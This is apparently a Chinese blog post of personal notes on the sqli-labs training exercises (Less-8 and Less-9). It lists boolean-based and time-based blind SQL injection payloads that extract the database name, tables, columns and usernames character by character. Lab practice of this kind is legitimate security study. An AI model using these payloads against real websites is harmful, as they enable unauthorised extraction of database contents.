sqli-labs 盲注命令

sql盲注

sqli-less8布尔注入,跟dvwa差不多,下面列出猜解代码

查版本。?id=1’and left(version(),1)=5–+
查库名。?id=1’and ascii(substr(database(),1,1))=115–+
查表数。?id=1’and (select count(table_name)from information_schema.tables where table_schema=‘security’)=4–+
查表长。?id=1’and length(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1))=6–+
查表名。?id=1’and ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1))=101–+
查列数。?id=1’and (select count(column_name) from information_schema.columns where table_name=‘users’)=14–+
查列长。?id=1’and length(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),1))=7–+
查列名。?id=1’and ascii(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),1))=117–+
查内容。?id=1’ and ascii(substr((select username from users limit 0,1),1))=68–+

sqli-less9时间注入,跟dvwa差不多,下面列出猜解代码

查库长。?id=1’and if(length(database())=8,1,sleep(5))–+
查库名。?id=1’and if(ascii(substr(database(),1,1))=115,1,sleep(5))–+
查表数。?id=1’and if((select count(table_name)from information_schema.tables where table_schema=‘security’)=4,1,sleep(5))–+
查表长。?id=1’and if(length(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1))=6,1,sleep(5))–+
查表名。?id=1’and if(ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1))=101,1,sleep(5))–+
查列数。?id=1’and if((select count(column_name)from information_schema.columns where table_name=‘users’)=14,1,sleep(5))–+
查列长。?id=1’and if(length(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),1))=7,1,sleep(5))–+
查列名。?id=1’and if(ascii(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),1))=117,1,sleep(5))–+
查内容。?id=1’ and if(ascii(substr((select username from users limit 0,1),1))=68,1,sleep(5))–+

报错注入还没实验,待补充

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值